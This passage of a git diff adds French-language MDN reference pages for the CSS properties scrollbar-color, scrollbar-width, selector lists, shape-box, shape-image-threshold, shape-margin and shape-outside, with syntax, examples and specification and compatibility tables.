+
+<p>{{EmbedInteractiveExample("pages/css/scrollbar-color.html")}}</p>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Valeurs avec un mot-clé */
+scrollbar-color: auto;
+scrollbar-color: dark;
+scrollbar-color: light;
+
+/* Valeur de couleur */
+/* La première cible le curseur et la seconde la piste */
+/* type &lt;color&gt; */
+scrollbar-color: rebeccapurple green;
+
+/* Valeurs globales */
+scrollbar-color: inherit;
+scrollbar-color: initial;
+scrollbar-color: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;scrollbar-face-color&gt;</code></dt>
+ <dd>Une valeur définissant la couleur.<br>
+
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td><code>auto</code></td>
+    <td>
+     <p>Utilise le rendu par défaut du système pour la piste de la barre de défilement si aucune autre couleur n'est indiquée pour la mise en forme CSS de la barre de défilement.</p>
+    </td>
+   </tr>
+   <tr>
+    <td><code>dark</code></td>
+    <td>Affiche une barre de défilement sombre. Ce peut être la variante sombre fournie par le système sous-jacent ou une barre de défilement personnalisée avec des couleurs sombres.</td>
+   </tr>
+   <tr>
+    <td><code>light</code></td>
+    <td>Affiche une barre de défilement claire. Ce peut être la variante claire fournie par le système sous-jacent ou une barre de défilement personnalisée avec des couleurs claires.</td>
+   </tr>
+   <tr>
+    <td><code>&lt;color&gt; &lt;color&gt;</code></td>
+    <td>La première couleur est appliquée au curseur et la seconde à la piste sur laquelle se déplace le curseur.</td>
+   </tr>
+  </tbody>
+ </table>
+
+ <div class="note">
+ <p><strong>Note :</strong> Pour toute valeur de <code>scrollbar-color</code>, les agents utilisateur doivent appliquer la valeur sur l'élément racine de la zone d'affichage (<em>viewport</em>).</p>
+ </div>
+
+ <div class="note">
+ <p><strong>Note :</strong> Si la couleur d'une partie de la barre de défilement est indiquée, les implémentations peuvent afficher une barre de défilement simple (plutôt que celle provenant du système) afin de la colorer avec la/les couleur(s) indiquée(s).</p>
+ </div>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">.scroller {
+  width: 300px;
+  height: 100px;
+  overflow-y: scroll;
+  scrollbar-color: rebeccapurple green;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="scroller"&gt;Veggies es bonus vobis, proinde vos postulo essum magis kohlrabi welsh onion daikon amaranth tatsoi tomatillo melon azuki bean garlic. Gumbo beet greens corn soko endive gumbo gourd. Parsley shallot courgette tatsoi pea sprouts fava bean collard greens dandelion okra wakame tomato. Dandelion cucumber earthnut pea peanut soko zucchini.&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Lorsqu'on utilise <code>scrollbar-color</code> avec certains couleurs spécifiques, il est nécessaire de s'assurer que le contraste entre le curseur et la piste est suffisant. Lorsque des mots-clés sont utilisés, c'est à l'agent utilisateur de s'assurer que le contraste est suffisant. Voir <a href="https://www.w3.org/TR/WCAG20-TECHS/G183.html">les techniques WCAG 2.0 G183 : Utiliser un ratio de contraste de 3:1</a>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Scrollbars", "#scrollbar-color", "scrollbar-color")}}</td>
+   <td>{{Spec2("CSS Scrollbars")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<div>{{Compat("css.properties.scrollbar-color")}}</div>
diff --git a/files/fr/web/css/scrollbar-width/index.html b/files/fr/web/css/scrollbar-width/index.html
new file mode 100644
index 0000000000..2cd1714b7e
--- /dev/null
+++ b/files/fr/web/css/scrollbar-width/index.html
@@ -0,0 +1,119 @@
+---
+title: scrollbar-width
+slug: Web/CSS/scrollbar-width
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/scrollbar-width
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>scrollbar-width</code></strong> permet à un auteur de définir l'épaisseur maximale à utiliser pour la barre de défilement si celle-ci est affichée.</p>
+
+<p>{{EmbedInteractiveExample("pages/css/scrollbar-width.html")}}</p>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Valeurs avec un mot-clé */
+scrollbar-width: auto;
+scrollbar-width: thin;
+scrollbar-width: none;
+
+/* Valeurs globales */
+scrollbar-width: inherit;
+scrollbar-width: initial;
+scrollbar-width: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;scrollbar-width&gt;</code></dt>
+ <dd>Une valeur qui définit l'épaisseur de la barre de défilement. Cette valeur est une longueur (cf. {{cssxref("&lt;length&gt;")}}) positive ou bien un mot-clé. Si c'est un mot-clé, ce dernier doit avoir l'une des valeurs suivantes :
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td><code>auto</code></td>
+    <td>La largeur par défaut, fournie par le système, pour la barre de défilement.</td>
+   </tr>
+   <tr>
+    <td><code>thin</code></td>
+    <td>Une variante plus fine de la barre de défilement plus fine dans le cas des plateformes qui fournissent une telle option ou une barre de défilement avec une largeur moindre que la largeur par défaut du système.</td>
+   </tr>
+   <tr>
+    <td><code>none</code></td>
+    <td>Aucune barre de défilement n'est affichée mais on peut toujours faire défiler l'élément.</td>
+   </tr>
+  </tbody>
+ </table>
+
+ <div class="note">
+ <p><strong>Note :</strong> Toute valeur de <code>scrollbar-width</code> doit être appliquée sur l'élément racine de la zone d'affichage (<em>viewport</em>) par les agents utilisateur.</p>
+ </div>
+
+ <div class="note">
+ <p><strong>Note :</strong> L'utilisation des longueurs pour <code>scrollbar-width</code> est une fonctionnalité qui sera potentiellement abandonnée de la spécification (voir <a href="https://github.com/w3c/csswg-drafts/issues/1958">l'<em>issue</em> 1958</a>).</p>
+ </div>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">.scroller {
+  width: 300px;
+  height: 100px;
+  overflow-y: scroll;
+  scrollbar-width: thin;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="scroller"&gt;Veggies es bonus vobis, proinde vos postulo essum magis kohlrabi welsh onion daikon amaranth tatsoi tomatillo melon azuki bean garlic. Gumbo beet greens corn soko endive gumbo gourd. Parsley shallot courgette tatsoi pea sprouts fava bean collard greens dandelion okra wakame tomato. Dandelion cucumber earthnut pea peanut soko zucchini.&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Scrollbars", "#scrollbar-width", "scrollbar-width")}}</td>
+   <td>{{Spec2("CSS Scrollbars")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.scrollbar-width")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{CSSxRef("-ms-overflow-style")}}</li>
+ <li>{{CSSxRef("::-webkit-scrollbar")}}</li>
+</ul>
diff --git a/files/fr/web/css/selector_list/index.html b/files/fr/web/css/selector_list/index.html
new file mode 100644
index 0000000000..28e73a371b
--- /dev/null
+++ b/files/fr/web/css/selector_list/index.html
@@ -0,0 +1,99 @@
+---
+title: Liste de sélecteurs
+slug: Web/CSS/Selector_list
+tags:
+  - CSS
+  - Sélecteur
+translation_of: Web/CSS/Selector_list
+---
+<div>{{CSSRef}}</div>
+
+<p><strong> Une liste de sélecteurs</strong> (<code>,</code>) permet de cibler tous les nœuds correspondants à l'une des conditions.</p>
+
+<pre class="brush: css no-line-numbers">/* Cible tous les éléments correspondants */
+span,
+div {
+  border: red 2px solid;
+}</pre>
+
+<p>Afin de réduire la taille d'une feuille de style, on peut grouper les sélecteurs dans une liste séparée par des virgules.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">element, element, element { <em>propriétés de style</em> }</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Groupement_sur_une_seule_ligne">Groupement sur une seule ligne</h3>
+
+<p>On peut grouper les sélecteurs sur une seule ligne :</p>
+
+<pre class="brush: css">h1, h2, h3, h4, h5, h6 { font-family: helvetica; }
+</pre>
+
+<h3 id="Groupement_sur_plusieurs_lignes">Groupement sur plusieurs lignes</h3>
+
+<p>On peut grouper les sélecteurs sur plusieurs lignes :</p>
+
+<pre class="brush: css">#main,
+.content,
+article {
+  font-size: 1.1em;
+}
+</pre>
+
+<h3 id="Invalidation_dune_liste_de_sélecteurs">Invalidation d'une liste de sélecteurs</h3>
+
+<p>Un inconvénient des listes de sélecteurs est la non-équivalence des deux blocs suivants :</p>
+
+<pre class="brush: css">h1 { font-family: sans-serif }
+h2:maybe-unsupported { font-family: sans-serif }
+h3 { font-family: sans-serif }</pre>
+
+<pre class="brush: css">h1, h2:maybe-unsupported, h3 { font-family: sans-serif }</pre>
+
+<p>En effet, un seul sélecteur vous manque et tout est dépeuplé. Enfin, un seul sélecteur invalide rend l'ensemble de la règle invalide.</p>
+
+<p>Pour éviter cet effet indésirable, on pourra utiliser le sélecteur {{CSSxRef(":is", ":is()")}} qui ignore les sélecteurs invalides parmi ses arguments. Par contre, tous les sélecteurs passés en arguments auront la même spécificité.</p>
+
+<pre class="brush: css">h1 { font-family: sans-serif }
+h2:maybe-unsupported { font-family: sans-serif }
+h3 { font-family: sans-serif }</pre>
+
+<pre class="brush: css">:is(h1, h2:maybe-unsupported, h3) { font-family: sans-serif }</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#grouping", "Selector Lists")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td>Renommage en « liste de sélecteur »</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#grouping', 'grouping')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.list")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les pseudo-classes {{CSSxRef(":is", ":is()")}} {{Experimental_Inline}} et {{CSSxRef(":where", ":where()")}} {{Experimental_Inline}} qui n'ont pas ce problème historique d'invalidation des listes de sélecteurs.</li>
+</ul>
diff --git a/files/fr/web/css/shape-box/index.html b/files/fr/web/css/shape-box/index.html
new file mode 100644
index 0000000000..ebb643f4c8
--- /dev/null
+++ b/files/fr/web/css/shape-box/index.html
@@ -0,0 +1,168 @@
+---
+title: <shape-box>
+slug: Web/CSS/shape-box
+tags:
+  - CSS
+  - Reference
+  - Type
+translation_of: Web/CSS/shape-outside
+---
+<div>{{CSSRef}}</div>
+
+<p>Le type de donnée CSS <strong><code>&lt;shape-box&gt;</code></strong> permet de définir des formes relatives aux boîtes de l'élément (voir <a href="/fr/Apprendre/CSS/Les_bases/Le_modèle_de_boîte">le modèle de boîtes</a>), notamment pour la propriété {{cssxref("shape-outside")}}.</p>
+
+<h2 id="Valeurs">Valeurs</h2>
+
+<dl>
+ <dt><code>margin-box</code></dt>
+ <dd>La forme correspond à la forme dessinée par le contour extérieur de la boîte de marge. Les rayons des coins de la forme sont définis grâce aux propriétés {{cssxref("border-radius")}} et {{cssxref("margin")}}. Si le ratio <code>border-radius</code> / <code>margin</code> est supérieur ou égal à 1, le rayon du coin de la boîte sera <code>border-radius</code> + <code>margin</code>. Si le ratio <code>border-radius / margin</code> est inférieur à 1, le rayon du coin de la boîte sera <code>border-radius + (margin * (1 + (ratio-1)^3))</code>.</dd>
+ <dt><code>border-box</code></dt>
+ <dd>La forme correspond à la forme dessinée par le contour extérieur de la boîte de bordure. Elle suit donc les règles normales de mise en forme de la bordure (notamment pour les coins arrondis).</dd>
+ <dt><code>padding-box</code></dt>
+ <dd>La forme correspond à la forme dessinée par le contour extérieur de la boîte de remplissage (<em>padding</em>). Elle suit les règles normales de mise en forme de la bordure (notamment pour les coins arrondis).</dd>
+ <dt><code>content-box</code></dt>
+ <dd>La forme correspond à la forme dessinée par le contour extérieur de la boîte de contenu. Le rayon de chaque coin correspondra à la valeur maximale entre <code>0</code> et <code>border-radius</code> - <code>border-width</code> - <code>padding</code>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.main {
+    width: 500px;
+    height: 200px;
+}
+
+.left {
+    -webkit-shape-outside: polygon(0 0, 100% 100%, 0 100%);
+    float: left;
+    width: 40%;
+    height: 12ex;
+    background-color: lightgray;
+    -webkit-clip-path: polygon(0 0, 100% 100%, 0 100%);
+}
+
+.right {
+    -webkit-shape-outside: polygon(100% 0, 100% 100%, 0 100%);
+    float: right;
+    width: 40%;
+    height: 12ex;
+    background-color: lightgray;
+    -webkit-clip-path: polygon(100% 0, 100% 100%, 0 100%);
+}
+
+p {
+    text-align: center;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="main"&gt;
+    &lt;div class="left"&gt;&lt;/div&gt;
+    &lt;div class="right"&gt;&lt;/div&gt;
+    &lt;p&gt;
+      Sometimes a web page's text content appears to be
+      funneling your attention towards a spot on the page
+      to drive you to follow a particular link. Sometimes
+      you don't notice.
+    &lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<h3 id="EmbedLiveSample('Exemples'100100)">{{EmbedLiveSample('Exemples',"100%","100%")}}</h3>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Shapes', '#typedef-shape-box', '&lt;shape-box&gt;')}}</td>
+   <td>{{Spec2('CSS Shapes')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{compatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{compatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>\xx</td>
+   <td>{{compatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{compatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome pour Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{compatVersionUnknown}}</td>
+   <td>{{compatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{compatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>\xx</td>
+   <td>{{compatVersionUnknown}}</td>
+   <td>{{compatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{compatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("shape-outside")}}</li>
+ <li><a href="/fr/Apprendre/CSS/Les_bases/Le_modèle_de_boîte">Le modèle de boîtes CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/shape-image-threshold/index.html b/files/fr/web/css/shape-image-threshold/index.html
new file mode 100644
index 0000000000..b4a32531a6
--- /dev/null
+++ b/files/fr/web/css/shape-image-threshold/index.html
@@ -0,0 +1,117 @@
+---
+title: shape-image-threshold
+slug: Web/CSS/shape-image-threshold
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/shape-image-threshold
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>shape-image-threshold</code></strong> définit le seuil, en terme de canal alpha, à utiliser pour extraire la forme d'une image. Cette forme pourra être utilisée pour {{cssxref("shape-outside")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/shape-image-threshold.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Touts les pixels dont la composante alpha est supérieure à ce seuil seront retenus pour délimiter les contours de la formes. Une valeur de 0.5 indiquera par exemple qu'on prend la forme qui englobe tous les pixels dont l'opacité est supérieure à 50%.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Quantité seuil  */
+/* Valeur &lt;number&gt; */
+shape-image-threshold: 0.7;
+
+/* Valeurs globales */
+shape-image-threshold: inherit;
+shape-image-threshold: initial;
+shape-image-threshold: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;number&gt;</code></dt>
+ <dd>Un nombre ({{cssxref("&lt;number&gt;")}}) représentant le seuil utilisé pour extraire une forme d'une image. La forme est définie par les pixels dont la valeur du canal alpha est supérieur au seuil indiqué. Un seuil qui est inférieur à 0.0 (transparence totale) ou supérieur à 1.0 (opacité totale) sera ramené dans cet intervalle.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple, on utilise un bloc {{HTMLElement("div")}} pour y afficher une image d'arrière-plan avec un dégradé. On retrouve ce dégradé dans une forme CSS avec la propriété <code>shape-outside</code> et on utilise <code>shape-image-threshold</code> afin de ne retenir que les pixels dont l'opacité est supérieure ou égale à 20% pour délimiter la forme.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; hightlight[9]">#gradient-shape {
+  width: 150px;
+  height: 150px;
+  float: left;
+  background-image: linear-gradient(30deg, black, transparent 80%,
+      transparent);
+  shape-outside: linear-gradient(30deg, black, transparent 80%,
+      transparent);
+  shape-image-threshold: 0.2;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="gradient-shape"&gt;&lt;/div&gt;
+
+&lt;p&gt;
+  Lorem ipsum dolor sit amet, consectetur adipisicing elit. Vel at commodi
+  voluptates enim, distinctio officia. Saepe optio accusamus doloribus sint
+  facilis itaque ab nulla, dolor molestiae assumenda cum sit placeat
+  adipisci, libero quae nihil porro debitis laboriosam inventore animi
+  impedit nostrum nesciunt quisquam expedita! Dolores consectetur iure atque
+  a mollitia dicta repudiandae illum exercitationem aliquam repellendus
+  ipsum porro modi, id nemo eligendi, architecto ratione quibusdam iusto
+  nisi soluta? Totam inventore ea eum sed velit et eligendi suscipit
+  accusamus iusto dolore, at provident eius alias maxime pariatur non
+  deleniti ipsum sequi rem eveniet laboriosam magni expedita?
+&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', "600px", "230px")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Shapes', '#shape-image-threshold-property', 'shape-image-threshold')}}</td>
+   <td>{{Spec2('CSS Shapes')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.shape-image-threshold")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Shapes">Les formes CSS</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Shapes/Aperçu_formes_CSS">Un aperçu des formes CSS</a></li>
+ <li>{{cssxref("&lt;basic-shape&gt;")}}</li>
+ <li>{{cssxref("shape-outside")}}</li>
+ <li>{{cssxref("shape-margin")}}</li>
+</ul>
diff --git a/files/fr/web/css/shape-margin/index.html b/files/fr/web/css/shape-margin/index.html
new file mode 100644
index 0000000000..aeae58a570
--- /dev/null
+++ b/files/fr/web/css/shape-margin/index.html
@@ -0,0 +1,118 @@
+---
+title: shape-margin
+slug: Web/CSS/shape-margin
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/shape-margin
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>shape-margin</code></strong> définit la marge autour d'une forme CSS créée avec {{cssxref("shape-outside")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/shape-margin.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>La marge permet d'ajuster la distance entre le contour de la forme (l'élément flottant) et le contenu autour.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeur de longueur */
+/* Type &lt;length&gt; */
+shape-margin: 10px;
+shape-margin: 20mm;
+
+/* Valeur proportionnelle */
+/* Type &lt;percentage&gt; */
+shape-margin: 60%;
+
+/* Valeurs globales */
+shape-margin: inherit;
+shape-margin: initial;
+shape-margin: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length-percentage&gt;</code></dt>
+ <dd>Cette valeur définit la marge entre la forme et le texte alentour grâce à une longueur (cf. {{cssxref("&lt;length&gt;")}}) ou à un pourcentage ({{cssxref("&lt;percentage&gt;")}}) proportionnel à la largeur du bloc englobant de l'élément.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">section {
+  max-width: 400px;
+}
+
+.shape {
+  float: left;
+  width: 150px;
+  height: 150px;
+  background-color: maroon;
+  clip-path: polygon(0 0, 150px 150px, 0 150px);
+  shape-outside: polygon(0 0, 150px 150px, 0 150px);
+  shape-margin: 20px;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;section&gt;
+  &lt;div class="shape"&gt;&lt;/div&gt;
+  We are not quite sure of any one thing in biology; our knowledge of geology
+  is relatively very slight, and the economic laws of society are
+  uncertain to every one except some individual who attempts to set them
+  forth; but before the world was fashioned the square on the hypotenuse
+  was equal to the sum of the squares on the other two sides of a right
+  triangle, and it will be so after this world is dead; and the inhabitant
+  of Mars, if he exists, probably knows its truth as we know it.
+&lt;/section&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 500, 250)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Shapes', '#shape-margin-property', 'shape-margin')}}</td>
+   <td>{{Spec2('CSS Shapes')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.shape-margin")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Shapes">Les formes CSS</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Shapes/Aperçu_formes_CSS">Un aperçu des formes CSS</a></li>
+ <li>{{cssxref("shape-outside")}}</li>
+ <li>{{cssxref("shape-image-threshold")}}</li>
+ <li>{{cssxref("&lt;basic-shape&gt;")}}</li>
+</ul>
diff --git a/files/fr/web/css/shape-outside/index.html b/files/fr/web/css/shape-outside/index.html
new file mode 100644
index 0000000000..f759a838c5
--- /dev/null
+++ b/files/fr/web/css/shape-outside/index.html
@@ -0,0 +1,167 @@
+---
+title: shape-outside
+slug: Web/CSS/shape-outside
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/shape-outside
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>shape-outside</code></strong> définit une forme (qui peut ne pas être un rectangle) autour de laquelle le contenu en ligne devra « s'écouler ». Par défaut, le contenu en ligne évolue autour de la boîte de marge de l'élément flottant. La propriété <code>shape-outside</code> permet de personnaliser ce contour et d'obtenir un texte qui s'écoule autour d'objets plus complexes que des rectangles.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/shape-outside.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css  no-line-numbers">/* Valeurs avec un mot-clé */
+shape-outside: none;
+shape-outside: margin-box;
+shape-outside: content-box;
+shape-outside: border-box;
+shape-outside: padding-box;
+
+/* Valeurs utilisant une fonction */
+shape-outside: circle();
+shape-outside: ellipse();
